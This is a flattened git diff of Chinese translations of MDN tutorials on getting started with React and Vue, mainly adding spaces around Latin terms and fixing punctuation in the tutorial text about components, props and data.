const header = <header> <h1>Mozilla Developer Network</h1> @@ -133,7 +133,7 @@-初始化您的应用
-@@ -146,7 +146,7 @@注意:如果你的电脑上安装了 yarn 的话, create-react-app 会默认使用 yarn 而非 npm。如果你同时安装了 yarn 和 npm ,但你希望使用 npm 的话,在 create-react-app 的时候需要输入
+--use-npm
:注意:如果你的电脑上安装了 yarn 的话,create-react-app 会默认使用 yarn 而非 npm。如果你同时安装了 yarn 和 npm,但你希望使用 npm 的话,在 create-react-app 的时候需要输入
--use-npm
:npx create-react-app moz-todo-react --use-npm初始化您的应用
应用结构
-create-react-app 提供了开发React应用所需的工具。它的初始文件结构如下:
+create-react-app 提供了开发 React 应用所需的工具。它的初始文件结构如下:
moz-todo-react ├── README.md @@ -167,17 +167,17 @@-应用结构
├── logo.svg └── serviceWorker.js目录
+src
是我们花费时间最多的地方,因为它是我们React应用源码存放的目录。目录
-src
是我们花费时间最多的地方,因为它是我们 React 应用源码存放的目录。目录
+public
包含了开发应用时浏览器会读取的文件,其中最重要的就是index.html
。React将目录src
中的代码嵌入这个文件,从而浏览器才能运行此文件。index.html
中的有些内容关乎create-react-app的运作,因此除非你知道自己在做什么样的修改,否则不建议编辑这个文件。当然,你可以修改index.html
中的<title>
元素的内容来表现此应用程序通俗易懂的名称。目录
public
包含了开发应用时浏览器会读取的文件,其中最重要的就是index.html
。React 将目录src
中的代码嵌入这个文件,从而浏览器才能运行此文件。index.html
中的有些内容关乎 create-react-app 的运作,因此除非你知道自己在做什么样的修改,否则不建议编辑这个文件。当然,你可以修改index.html
中的<title>
元素的内容来表现此应用程序通俗易懂的名称。目录
-public
会在建立并部署此应用的时候更新。此教程不涉及部署,你可以参考 Deploying our app 这一篇教程。文件
+package.json
包含了Node.js/npm为了建立该应用程序所管理着的文件信息。这个文件不是React应用独有的。你无需理解这个文件也能看懂这篇教程。 不过,如果你想了解更多,你可以阅读 What is the file `package.json`? on NodeJS.org 和 Package management basics。文件
package.json
包含了 Node.js/npm 为了建立该应用程序所管理着的文件信息。这个文件不是 React 应用独有的。你无需理解这个文件也能看懂这篇教程。 不过,如果你想了解更多,你可以阅读 What is the file `package.json`? on NodeJS.org 和 Package management basics。探索第一个 React 组件 —
-<App/>
在React中,组件是组成应用程序的可重复利用的模块。组件可大可小,但它们都只有单一的、明确的功能。
+在 React 中,组件是组成应用程序的可重复利用的模块。组件可大可小,但它们都只有单一的、明确的功能。
打开
@@ -207,7 +207,7 @@src/App.js
,之前打开的页面也提示我们对这个文件进行编辑。这个文件包含了我们第一个组件App
,内容如下:探索第一个 React 组件 } export default App;
文件
+App.js
主要由三部分组成: 顶部的import
语句, 中间的App
组件,以及底部的export
语句。大多数React组件都遵循这个模式。文件
App.js
主要由三部分组成: 顶部的import
语句,中间的App
组件,以及底部的export
语句。大多数 React 组件都遵循这个模式。import 语句
@@ -228,16 +228,16 @@import 语句
第三行引入了我们的组件所需的 CSS 文件。与上面两句不同,这里没有将引入的内容赋给任何变量、也没有用到
from
指令。请注意这种特殊的语法并非原生 JS 的语法 —— 它源自前端资源打包工具 webpack,而 create-react-app 正是基于 webpack 配置而来的。-译者补充:webpack 可用于打包 JS 和非 JS 的内容(当然,非 JS 的内容需要一些插件或加载器来处理),但是 JavaScript 标准只有关于 JS 的内容,所以 webpack 社区使用这种特殊的 `import` 语句来声明对非 JS 内容的引用。
+译者补充:webpack 可用于打包 JS 和非 JS 的内容 (当然,非 JS 的内容需要一些插件或加载器来处理),但是 JavaScript 标准只有关于 JS 的内容,所以 webpack 社区使用这种特殊的 `import` 语句来声明对非 JS 内容的引用。
-详情参见 webpack 官方和社区,截止目前(2020年下旬),webpack 仍是现代前端工作中必不可少的技能之一。
+详情参见 webpack 官方和社区,截止目前 (2020 年下旬),webpack 仍是现代前端工作中必不可少的技能之一。
-
App
组件在 import 所需资源之后,我们定义了一个名为 App 的函数,尽管大部分 JavaScript 社区推崇使用驼峰式命名法,如:“helloWorld”。但 React 组件使用帕斯卡命名法,如 “HelloWorld”,来帮助用户辨认一个 JSX 元素是 React 组件而非普通的 HTML 标签。如果您将函数名 “App” 改为 “app”,您的浏览器会显示错误。
+在 import 所需资源之后,我们定义了一个名为 App 的函数,尽管大部分 JavaScript 社区推崇使用驼峰式命名法,如:“helloWorld”。但 React 组件使用帕斯卡命名法,如“HelloWorld”,来帮助用户辨认一个 JSX 元素是 React 组件而非普通的 HTML 标签。如果您将函数名“App”改为“app”,您的浏览器会显示错误。
-让我们进一步看下App方法。
+让我们进一步看下 App 方法。
function App() { return ( @@ -260,13 +260,13 @@-); }
App
组件App方法返回一个JSX表达式,这个表达式定义了浏览器最终要渲染的DOM。
+App 方法返回一个 JSX 表达式,这个表达式定义了浏览器最终要渲染的 DOM。
-表达式中的元素就像以前写的HTML一样,都拥有属性,并且遵循
+attribute="value"
的模式。 在第三行,开始标签<div>
有着className
属性。 这个属性与在HTML中的class
属性相同,但是由于JSX就是JavaScript, 我们不能使用class
属性 - 这个是关键字,意味着JavaScript已经用它执行其它任务,使用class
属性将会在我们的代码中产生冲突。由于同样的原因,一些其它的HTML属性在JSX中也有着不同的书写方式,当我们碰到它们时,我们将会详述。表达式中的元素就像以前写的 HTML 一样,都拥有属性,并且遵循
-attribute="value"
的模式。在第三行,开始标签<div>
有着className
属性。这个属性与在 HTML 中的class
属性相同,但是由于 JSX 就是 JavaScript, 我们不能使用class
属性 - 这个是关键字,意味着 JavaScript 已经用它执行其它任务,使用class
属性将会在我们的代码中产生冲突。由于同样的原因,一些其它的 HTML 属性在 JSX 中也有着不同的书写方式,当我们碰到它们时,我们将会详述。把第6行的
+<p>
标签内容改为 "Hello, world!" 并保存文件。你会发现这个改变也会立即在浏览器的http://localhost:3000
中同步渲染。 现在删掉<a>
标签并保存,"Learn React"链接也会同样被删除。把第 6 行的
-<p>
标签内容改为 "Hello, world!" 并保存文件。你会发现这个改变也会立即在浏览器的http://localhost:3000
中同步渲染。现在删掉<a>
标签并保存,"Learn React"链接也会同样被删除。你的
+App
组件应该如下所示:你的
App
组件应该如下所示:function App() { return ( @@ -283,11 +283,11 @@
App
组件Export 语句
-在
+App.js
文件的最底部,export default App
语句使得App
组件能被其它模块使用.在
App.js
文件的最底部,export default App
语句使得App
组件能被其它模块使用。Interrogating the index
-现在让我们打开
+src/index.js
, 因为这也是App
组件被用到的地方。 这个文件是我们 app 的入口点,在一开始它如下所示现在让我们打开
src/index.js
, 因为这也是App
组件被用到的地方。这个文件是我们 app 的入口点,在一开始它如下所示import React from 'react'; import ReactDOM from 'react-dom'; @@ -302,23 +302,23 @@-Interrogating the index
// Learn more about service workers: https://bit.ly/CRA-PWA serviceWorker.unregister();就像
+App.js
一样,这个文件一开始 import 了所有的 JS 模块和其它运行所需要的资源。src/index.css
定义了运用于整个 app 的 global style。 我们可以看到我们的App
组件也被 imported 了, 这是在App.js
底部的语句让 importApp
变得可行。就像
App.js
一样,这个文件一开始 import 了所有的 JS 模块和其它运行所需要的资源。src/index.css
定义了运用于整个 app 的 global style。我们可以看到我们的App
组件也被 imported 了,这是在App.js
底部的语句让 importApp
变得可行。第七行调用 React 的
ReactDOM.render()
函数,并传入两个参数:-
- 我们想要渲染的组件, 在这个例子中是
+<App />
.- 我们想要渲染的组件,在这个例子中是
-<App />
.- 我们想要渲染组件所在的 DOM 元素,在这个例子中是带着
+root
标签的元素。 让我们看一下public/index.html
的代码, 可以看到这有一个<div>
元素 在<body>
里。- 我们想要渲染组件所在的 DOM 元素,在这个例子中是带着
root
标签的元素。让我们看一下public/index.html
的代码,可以看到这有一个<div>
元素 在<body>
里。上述所有都告诉 React 我们想把
App
组件作为 root 或者第一个组件来渲染我们的 React App。--注意: 在 JSX 中, React 组件和 HTML 元素必须有 closing slashes,如
+<App />
, 如果我们写<App>
或者<img>
将会报错。注意: 在 JSX 中,React 组件和 HTML 元素必须有 closing slashes,如
<App />
,如果我们写<App>
或者<img>
将会报错。Service workers 能让我们的 App 离线运行,但它不在本篇文章的范围中,您可以删除第5行和第9到12行。
+Service workers 能让我们的 App 离线运行,但它不在本篇文章的范围中,您可以删除第 5 行和第 9 到 12 行。
您最终的
@@ -331,17 +331,17 @@index.js
文件应该如下所示:Interrogating the index
Variables and props
-接下来,我们将使用一些 JavaScript 的技巧来让我们在 React 中编辑组件以及处理数据更加顺手。我们将讨论如何在 JSX 中 使用 variables, 并且介绍 props, props是我们用来往组件里传入数据的一种方法, 传入之后我们可以用 variable 访问传入的变量。
+接下来,我们将使用一些 JavaScript 的技巧来让我们在 React 中编辑组件以及处理数据更加顺手。我们将讨论如何在 JSX 中 使用 variables,并且介绍 props,props 是我们用来往组件里传入数据的一种方法,传入之后我们可以用 variable 访问传入的变量。
Variables in JSX
-回到
+App.js
, 让我们看一下第9行:回到
App.js
, 让我们看一下第 9 行:<img src={logo} className="App-logo" alt="logo" />-可以看到,
+<img />
标签的src
属性值是在大括号中的 --{logo}
. 这是JSX 识别变量的方式。 React 将会识别{logo}
, 知道您在我们 app 第二行引入的 logo, 然后 React 会读取这个文件它并渲染。可以看到,
-<img />
标签的src
属性值是在大括号中的 --{logo}
. 这是 JSX 识别变量的方式。React 将会识别{logo}
,知道您在我们 app 第二行引入的 logo,然后 React 会读取这个文件它并渲染。让我们试着设置一个我们自己的变量,在
+App
return 之前, 添加const subject = 'React';
。 您的代码现在应该如下所示:让我们试着设置一个我们自己的变量,在
App
return 之前,添加const subject = 'React';
。您的代码现在应该如下所示:function App() { const subject = "React"; @@ -357,7 +357,7 @@-Variables in JSX
); }把第8行的 "world" 替换成我们自己的变量
+subject
,如下所示:把第 8 行的 "world" 替换成我们自己的变量
subject
,如下所示:function App() { const subject = "React"; @@ -373,19 +373,19 @@-Variables in JSX
); }当我们保存时, 浏览器将会显示 "Hello, React!", 而不是 "Hello, world!"
+当我们保存时,浏览器将会显示 "Hello, React!",而不是 "Hello, world!"
-变量十分方便,但是我们没有利用到 React 的特性, 接下来我们将介绍 Props。
+变量十分方便,但是我们没有利用到 React 的特性,接下来我们将介绍 Props。
Component props
-prop 是任何传入 React 组件的数据。Props 写在组件中,并且像 HTML 属性一样写成
+prop="value"
。 让我们打开index.js
并且为我们的<App/>
添加第一个 prop。prop 是任何传入 React 组件的数据。Props 写在组件中,并且像 HTML 属性一样写成
-prop="value"
。让我们打开index.js
并且为我们的<App/>
添加第一个 prop。为
+<App/>
组件添加一个叫subject
并有着Clarice
值的 prop。 当完成之后,您的代码应如下所示:为
<App/>
组件添加一个叫subject
并有着Clarice
值的 prop。当完成之后,您的代码应如下所示:ReactDOM.render(<App subject="Clarice" />, document.getElementById('root'));-回到
App.js
, 代码应该如下所示 (return 中的内容省略了) +回到
App.js
,代码应该如下所示(return 中的内容省略了)function App() { const subject = "React"; @@ -394,7 +394,7 @@-Component props
); }改变
+App
的函数签名,让它接收props
作为一个参数。 就像其它参数一样, 您可以把props
放在console.log()
中,让其在浏览器打印出来。 把它放在您的subject
之后,以及return
之前, 您的代码应如下所示:改变
App
的函数签名,让它接收props
作为一个参数。就像其它参数一样,您可以把props
放在console.log()
中,让其在浏览器打印出来。把它放在您的subject
之后,以及return
之前,您的代码应如下所示:function App(props) { const subject = "React"; @@ -404,13 +404,13 @@-Component props
); }保存您的文件并检查您浏览器中的 JavaScript Console, 您将会发现如下所示的语句:
+保存您的文件并检查您浏览器中的 JavaScript Console,您将会发现如下所示的语句:
Object { subject: "Clarice" }-对象的
+subject
属性与我们放入App
函数签名的 prop 相对应,并且Clarice
字符串与它的值相对应, 在 React 中的组件 props 总是用这种方式传入object 中。对象的
-subject
属性与我们放入App
函数签名的 prop 相对应,并且Clarice
字符串与它的值相对应,在 React 中的组件 props 总是用这种方式传入 object 中。现在
subject
是我们的 props 之一了, 让我们在App.js
中使用它。 用props.subject
替代原本的React
字符串, 如果你想的话,也可以删除console.log()
, 您的代码将如下所示: +现在
subject
是我们的 props 之一了,让我们在App.js
中使用它。用props.subject
替代原本的React
字符串,如果你想的话,也可以删除console.log()
,您的代码将如下所示:function App(props) { const subject = props.subject; @@ -419,20 +419,20 @@-Component props
); }当您保存之后, app 应该会输出 "Hello, Clarice!"。 如果您回到
+index.js
, 并且修改subject
的值并保存, 您输出的字也会随之改变。当您保存之后,app 应该会输出 "Hello, Clarice!"。如果您回到
index.js
,并且修改subject
的值并保存,您输出的字也会随之改变。总结
-以上就是我们对 React 的初步认识, 包括如何在本地下载它, 创建一个初始 app, 以及一些基本的操作。 在下篇文章,我们将会开始创建我们的第一个 app -- 一个任务清单。在我们开始下篇文章之前,让我们先复习下我们现在所学的。
+以上就是我们对 React 的初步认识,包括如何在本地下载它,创建一个初始 app,以及一些基本的操作。在下篇文章,我们将会开始创建我们的第一个 app -- 一个任务清单。在我们开始下篇文章之前,让我们先复习下我们现在所学的。
-在 React 中:
+在 React 中:
@@ -460,21 +460,21 @@
- 组件可以 import 它们需要的模块,并且在文件底部将自身 export,以让其它组件使用。
- 组件是用
-PascalCase
也就是帕斯卡命名法命名的。- 通过把变量放在大括号中,您可以读取 JSX 的变量, 如
-{so}
- 一些 JSX 属性与 HTML 属性不相同,这样就不会与JavaScript的保留字相冲突,比如说,在 HTML 中的
+class
会在 JSX 中转译为className
。 注意这些属性都是驼峰式命名的。- 通过把变量放在大括号中,您可以读取 JSX 的变量,如
+{so}
- 一些 JSX 属性与 HTML 属性不相同,这样就不会与 JavaScript 的保留字相冲突,比如说,在 HTML 中的
class
会在 JSX 中转译为className
。注意这些属性都是驼峰式命名的。- Props 就像属性一样写在组件里,并且传入组件。
In this module
- Ember app structure and componentization
- Ember interactivity: Events, classes and state
- Ember Interactivity: Footer functionality, conditional rendering
-- 在Ember中路由
-- Ember资源和故障排除
+- 在 Ember 中路由
+- Ember 资源和故障排除
- Vue
diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_first_component/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_first_component/index.html index 6a7016cf152061..fdb1f5bb0c41ff 100644 --- a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_first_component/index.html +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_first_component/index.html @@ -1,5 +1,5 @@ --- -title: 创建第一个Vue组件 +title: 创建第一个 Vue 组件 slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component --- @@ -7,30 +7,30 @@{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}-现在是时候深入了解Vue,并创建我们自己的自定义组件了--我们将从创建一个组件来表示待办事项列表中的每个项目开始。在这一过程中,我们将学习一些重要的概念,例如在其他组件中调用组件,通过道具向它们传递数据,以及保存数据状态。
+现在是时候深入了解 Vue,并创建我们自己的自定义组件了--我们将从创建一个组件来表示待办事项列表中的每个项目开始。在这一过程中,我们将学习一些重要的概念,例如在其他组件中调用组件,通过道具向它们传递数据,以及保存数据状态。
-注意: 如果你需要根据我们的版本检查您的代码, 你可以在我们的 todo-vue 仓库找到中找到示例 Vue 程序代码的完成版本。 有关运行中的实时版本,请参见 https://mdn.github.io/todo-vue/dist/。
+注意: 如果你需要根据我们的版本检查您的代码, 你可以在我们的 todo-vue 仓库找到中找到示例 Vue 程序代码的完成版本。 有关运行中的实时版本,请参见 https://mdn.github.io/todo-vue/dist/。
-
- 前提条件: +前提条件: 熟悉HTML、CSS、JavaScript核心语言,了解终端或命令行。
-Vue组件是由管理应用程序数据的JavaScript对象和映射到基础DOM结构的基于HTML的模板语法组成的。对于安装,以及使用Vue的一些更高级的功能(如单文件组件或渲染函数),你需要一个安装了node和npm的终端。
+Vue 组件是由管理应用程序数据的 JavaScript 对象和映射到基础 DOM 结构的基于 HTML 的模板语法组成的。对于安装,以及使用 Vue 的一些更高级的功能(如单文件组件或渲染函数),你需要一个安装了 node 和 npm 的终端。
目标: -学习如何创建一个Vue组件,将其渲染到另一个组件中,使用props将数据传递到组件中,并保存其状态。 +学习如何创建一个 Vue 组件,将其渲染到另一个组件中,使用props将数据传递到组件中,并保存其状态。 创建一个ToDoItem组件
+创建一个 ToDoItem 组件
让我们创建第一个组件,它将显示一个单一的待办事项。我们将用它来建立我们的待办事项列表。
@@ -47,7 +47,7 @@创建一个ToDoItem组件
export default {}; </script> -现在我们可以开始为
+ToDoItem
添加实际内容了。Vue模板目前只允许一个根元素--一个元素需要包裹模板内的所有内容(Vue 3 发布后会改变这种情况)。我们将为该根元素使用一个<div>
。现在我们可以开始为
ToDoItem
添加实际内容了。Vue 模板目前只允许一个根元素--一个元素需要包裹模板内的所有内容(Vue 3 发布后会改变这种情况)。我们将为该根元素使用一个<div>
。-
- @@ -65,7 +65,7 @@
创建一个ToDoItem组件
在应用程序中使用TodoItem组件
+在应用程序中使用 TodoItem 组件
这一切都很顺利,但我们还没有将组件添加到我们的应用程序中,所以没有办法测试它,看看一切是否正常。我们现在就把它添加进去吧。
@@ -79,11 +79,11 @@在应用程序中使用TodoItem
import ToDoItem from './components/ToDoItem.vue';- -
-在你的组件对象里面,添加
+components
属性,然后在它里面添加您的ToDoItem组件进行注册。在你的组件对象里面,添加
components
属性,然后在它里面添加您的 ToDoItem 组件进行注册。你的
+<script>
内容现在应该是这样的:你的
<script>
内容现在应该是这样的:import ToDoItem from './components/ToDoItem.vue'; @@ -94,13 +94,13 @@-在应用程序中使用TodoItem } };
这和之前Vue CLI注册
+HelloWorld
组件的方式是一样的。这和之前 Vue CLI 注册
-HelloWorld
组件的方式是一样的。要在应用程序中实际展示
+ToDoItem
组件,你需要在<template>
模板内添加一个<to-do-item>/to-do-item>
元素。请注意,组件文件名及其在JavaScript中的表示方式总是用大写驼色(例如ToDoList
),而等价的自定义元素总是用连字符小写(例如<to-do-list>
)。要在应用程序中实际展示
ToDoItem
组件,你需要在<template>
模板内添加一个<to-do-item>/to-do-item>
元素。请注意,组件文件名及其在 JavaScript 中的表示方式总是用大写驼色(例如ToDoList
),而等价的自定义元素总是用连字符小写(例如<to-do-list>
)。-
- 在
-<h1>
下面,创建一个无序列表(<ul>
),其中包含一个列表项(<li>
)。- 在列表项(<li>)里面添加
+<to-do-item></to-do-item>
.- 在
+<h1>
下面,创建一个无序列表 (<ul>
),其中包含一个列表项 (<li>
)。- 在列表项 (<li>) 里面添加
<to-do-item></to-do-item>
.你的
@@ -118,41 +118,41 @@App.vue
的<template>
内容现在应该是这样的:在应用程序中使用TodoItem
-使用props让组件动态化
+使用 props 让组件动态化
-我们的
+ToDoItem
组件仍然不太可用,因为我们只能在页面上包含它一次(ID必须唯一),而且我们没有办法设置label标签的文本。这一切都不是动态的。我们的
-ToDoItem
组件仍然不太可用,因为我们只能在页面上包含它一次(ID 必须唯一),而且我们没有办法设置 label 标签的文本。这一切都不是动态的。我们需要的是一些组件状态。这可以通过在组件中添加props来实现。您可以认为 props 与函数中的输入类似。prop的值给予了组件影响其显示的初始状态。
+我们需要的是一些组件状态。这可以通过在组件中添加 props 来实现。您可以认为 props 与函数中的输入类似。prop 的值给予了组件影响其显示的初始状态。
注册 props
-在Vue中,注册props的方式有两种:
+在 Vue 中,注册 props 的方式有两种:
-
- 第一种方式是,以字符串数组的方式列出props,数组中的每个实体对应一个prop名称。
-- 第二种方法是将props定义为一个对象,每个key对应于prop名称。将props列为对象允许您指定默认值,将props标记为required,执行基本的对象类型(特别是 JavaScript 基本类型) ,并执行简单的prop校验。
+- 第一种方式是,以字符串数组的方式列出 props,数组中的每个实体对应一个 prop 名称。
+- 第二种方法是将 props 定义为一个对象,每个 key 对应于 prop 名称。将 props 列为对象允许您指定默认值,将 props 标记为 required,执行基本的对象类型 (特别是 JavaScript 基本类型) ,并执行简单的 prop 校验。
--注意: 注意: prop验证只能在development模式下进行,所以你不能在生产环境中严格依赖它。此外,prop 验证函数在组件实例创建之前被调用,因此它们不能访问组件状态(或其他props)。
+注意: 注意:prop 验证只能在 development 模式下进行,所以你不能在生产环境中严格依赖它。此外,prop 验证函数在组件实例创建之前被调用,因此它们不能访问组件状态 (或其他 props)。
针对ToDoItem组件,我们将使用对象注册法。
+针对 ToDoItem 组件,我们将使用对象注册法。
@@ -168,15 +168,15 @@
- 回到
-ToDoItem.vue
文件。- 在默认导出的
-default {}
对象中添加一个props
属性,该props属性含有一个空对象。- 在这个对象里,添加两个key为
-label
和done
属性。label
的值应该是一个带有两个属性的对象(或者是 props,因为它们被调用在可找到的组件的context) +- 在默认导出的
+default {}
对象中添加一个props
属性,该 props 属性含有一个空对象。- 在这个对象里,添加两个 key 为
+label
和done
属性。label
的值应该是一个带有两个属性的对象(或者是 props,因为它们被调用在可找到的组件的 context)-
- 第一个
-required
属性, 它的值是true
. 这将会告诉Vue说,我们希望每个该组件的实例都必须有个label字段。如果ToDoItem
组件没有label字段的话,Vue会提示警告。- 第二是添加一个
+type
属性。这个属性的值设为JavaScript的String
类型。这等于告诉Vue,我们希望type属性的值是String类型的。- 第一个
+required
属性,它的值是true
. 这将会告诉 Vue 说,我们希望每个该组件的实例都必须有个 label 字段。如果ToDoItem
组件没有 label 字段的话,Vue 会提示警告。- 第二是添加一个
type
属性。这个属性的值设为 JavaScript 的String
类型。这等于告诉 Vue,我们希望 type 属性的值是 String 类型的。- 现在转向
done
prop.-
- 首先添加一个
-default
属性,它的值是false
。这意味着当没有done
prop被传递给ToDoItem
组件时,done
prop的值会是false(注意default属性不是必需的————我们只在非required props里才需要default
)- 接着,添加一个
+type
属性,值为Boolean
。这将告诉Vue,我们希望这个prop的值是JavaScript的Boolean类型。- 首先添加一个
+default
属性,它的值是false
。这意味着当没有done
prop 被传递给ToDoItem
组件时,done
prop 的值会是 false(注意 default 属性不是必需的————我们只在非 required props 里才需要default
)- 接着,添加一个
type
属性,值为Boolean
。这将告诉 Vue,我们希望这个 prop 的值是 JavaScript 的 Boolean 类型。注册 props
}; </script> -使用已注册的props
+使用已注册的 props
-随着组件对象中这些props的定义,我们可以在template里使用这些变量值。让我们开始向组件模版中添加
+label
prop。随着组件对象中这些 props 的定义,我们可以在 template 里使用这些变量值。让我们开始向组件模版中添加
-label
prop。在你的
+<template>
中,将<label>
标签的contents内容修改为\{{label}}
。在你的
-<template>
中,将<label>
标签的 contents 内容修改为\{{label}}
。+
\{{}}
是Vue中的一个特殊的模版语法,它能在template内打印 类中定义的JavaScript表达式的结果,包括值和方法。重要的是,\{{}}
里的内容是作为text文本显示,而非HTML。在此例中,我们打印的是label
的值。-
\{{}}
是 Vue 中的一个特殊的模版语法,它能在 template 内打印 类中定义的 JavaScript 表达式的结果,包括值和方法。重要的是,\{{}}
里的内容是作为 text 文本显示,而非 HTML。在此例中,我们打印的是label
的值。现在,你组件的template部分应该是像这样:
+现在,你组件的 template 部分应该是像这样:
<template> <div> @@ -185,7 +185,7 @@-使用已注册的props
</div> </template>回到网页浏览器中,您将会看到todo item 与之前相同,但是没有label。转到浏览器的开发者工具,您会在控制台中看到这样的警告:
+回到网页浏览器中,您将会看到 todo item 与之前相同,但是没有 label。转到浏览器的开发者工具,您会在控制台中看到这样的警告:
[Vue warn]: Missing required prop: "label" @@ -196,23 +196,23 @@-使用已注册的props
<Root>这是因为我们将
+label
prop标记为required, 但我们从未给组件这个prop————我们已经在template内定义了希望使用这个prop值的位置,但在调用时我们没有把它传递进组件。让我们修复这个问题。这是因为我们将
-label
prop 标记为 required, 但我们从未给组件这个 prop————我们已经在 template 内定义了希望使用这个 prop 值的位置,但在调用时我们没有把它传递进组件。让我们修复这个问题。在我们的
+App.vue
文件中,像常规HTML属性那样,在<to-do-item></to-do-item>
里添加一个label
属性:在我们的
App.vue
文件中,像常规 HTML 属性那样,在<to-do-item></to-do-item>
里添加一个label
属性:<to-do-item label="My ToDo Item"></to-do-item>-现在您会在页面上看到label了,并且console里不会再出现警告提示。
+现在您会在页面上看到 label 了,并且 console 里不会再出现警告提示。
-这就是一个简单的props。接下来我们将讨论Vue如何持久化数据状态
+这就是一个简单的 props。接下来我们将讨论 Vue 如何持久化数据状态
-Vue的数据对象
+Vue 的数据对象
-如果您改变 传递到在您的App组件中访问的
+<to-do-item></to-do-item>
的label
prop值,您应该会看到该值被更新。这很ok。我们现在有了一个checkbox,一个可更新的label标签。然而,我们目前没有对"done"prop做任何事情————我们可以在UI中选中checkbox,但在应用程序中,我们没有实际记录todo item是否已完成。如果您改变 传递到在您的 App 组件中访问的
-<to-do-item></to-do-item>
的label
prop 值,您应该会看到该值被更新。这很 ok。我们现在有了一个 checkbox,一个可更新的 label 标签。然而,我们目前没有对"done"prop 做任何事情————我们可以在 UI 中选中 checkbox,但在应用程序中,我们没有实际记录 todo item 是否已完成。为了实现它,我们将组件的
+done
prop 与<input>
标签的checked
属性作绑定。这样就可以记录复选框是否被选中。但是,props是一种单向数据绑定,组件永远不该改变自己的props的值,这点很重要。坚守这点的原因有很多。其一是,组件修改props会造成程序调试困难。如果一个值被传递进多个子组件,将很难定位这个值是在哪里被修改的。此外,修改props会造成组件重新渲染。所以,一个组件里突变的props会触发组件重新渲染,这可能会反过来再次触发props突变。为了实现它,我们将组件的
-done
prop 与<input>
标签的checked
属性作绑定。这样就可以记录复选框是否被选中。但是,props 是一种单向数据绑定,组件永远不该改变自己的 props 的值,这点很重要。坚守这点的原因有很多。其一是,组件修改 props 会造成程序调试困难。如果一个值被传递进多个子组件,将很难定位这个值是在哪里被修改的。此外,修改 props 会造成组件重新渲染。所以,一个组件里突变的 props 会触发组件重新渲染,这可能会反过来再次触发 props 突变。要变通解决此问题,我们可以使用Vue的
+data属性来管理
done
的状态。data
属性是你可以用来在组件中管理本地状态,它与props
属性一同位于组件对象中并具有以下结构:要变通解决此问题,我们可以使用 Vue 的
data属性来管理
done
的状态。data
属性是你可以用来在组件中管理本地状态,它与props
属性一同位于组件对象中并具有以下结构:data() { return { @@ -227,7 +227,7 @@Vue的数据对象
注意:由于
this
在箭头函数中的工作方式(绑定到父级的上下文),如果使用箭头函数,您将无法从内部data
访问任何必要的属性。因此,不要对data
属性使用箭头函数。因此,让我们向
+ToDoItem
组件添加一个data
属性。这将返回一个包含单个属性的对象,即我们将调用isDone
,其值为this.done
。因此,让我们向
ToDoItem
组件添加一个data
属性。这将返回一个包含单个属性的对象,即我们将调用isDone
,其值为this.done
。按如下方式更新组件对象:
@@ -249,7 +249,7 @@Vue的数据对象
v-bind:attribute="expression"-换句话说,你可以在要绑定到的任何attribute/prop 前面加上
+v-bind:
。在大多数情况下,你可以对v-bind:
属性使用速记,即只在attribute/prop 前面加上冒号。所以:attribute="expression"
的工作方式与v-bind:attribute="expression"
相同。换句话说,你可以在要绑定到的任何 attribute/prop 前面加上
v-bind:
。在大多数情况下,你可以对v-bind:
属性使用速记,即只在 attribute/prop 前面加上冒号。所以:attribute="expression"
的工作方式与v-bind:attribute="expression"
相同。因此,对于
@@ -288,7 +288,7 @@ToDoItem
组件中的复选框,我们可以使用v-bind
将isDone
属性映射到<input>
元素上的checked
属性。以下两项是等效的:给 Todos 一个唯一的 ID
npm install --save lodash.uniqueid-注意:如果你更喜欢yarn,则可以改用
+yarn add lodash.uniqueid
。注意:如果你更喜欢 yarn,则可以改用
yarn add lodash.uniqueid
。现在,我们可以将此包导入我们的
diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.html index f261d1a01a263c..f7a6e2de2b2932 100644 --- a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.html +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.html @@ -7,40 +7,40 @@ToDoItem
组件中。在ToDoItem.vue
的<script>
元素的顶部添加以下行:{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}-现在让我们介绍Vue,我们的第三个框架。在本文中,我们将了解一点Vue的背景知识,了解如何安装它并创建一个新项目,研究整个项目和单个组件的高级结构,了解如何在本地运行项目,并为开始构建示例做好准备。
+现在让我们介绍 Vue,我们的第三个框架。在本文中,我们将了解一点 Vue 的背景知识,了解如何安装它并创建一个新项目,研究整个项目和单个组件的高级结构,了解如何在本地运行项目,并为开始构建示例做好准备。
- 前提条件: +前提条件: - 熟悉核心的HTML, CSS和JavaScript语言,了解终端/命令行。
+熟悉核心的 HTML, CSS 和 JavaScript 语言,了解终端/命令行。
-Vue组件设计成为由管理应用数据的JavaScript对象和映射到底层DOM结构的html模板语法组成的混合体。安装和使用的一些更高级的功能Vue(如单文件组件或渲染函数),你将需要一个安装了node和npm的终端。
+Vue 组件设计成为由管理应用数据的 JavaScript 对象和映射到底层 DOM 结构的 html 模板语法组成的混合体。安装和使用的一些更高级的功能 Vue(如单文件组件或渲染函数),你将需要一个安装了 node 和 npm 的终端。
- 目标: -设置本地Vue开发环境,创建一个starter应用程序,并了解它是如何工作的基础知识。 +目标: +设置本地 Vue 开发环境,创建一个 starter 应用程序,并了解它是如何工作的基础知识。 一个更简洁的框架——Vue
-Vue是一个现代JavaScript框架提供了有用的设施渐进增强——不像许多其他框架,您可以使用Vue增强现有的HTML。这使您可以使用Vue作为jQuery等库的临时替代品。
+Vue 是一个现代 JavaScript 框架提供了有用的设施渐进增强——不像许多其他框架,您可以使用 Vue 增强现有的 HTML。这使您可以使用 Vue 作为jQuery等库的临时替代品。
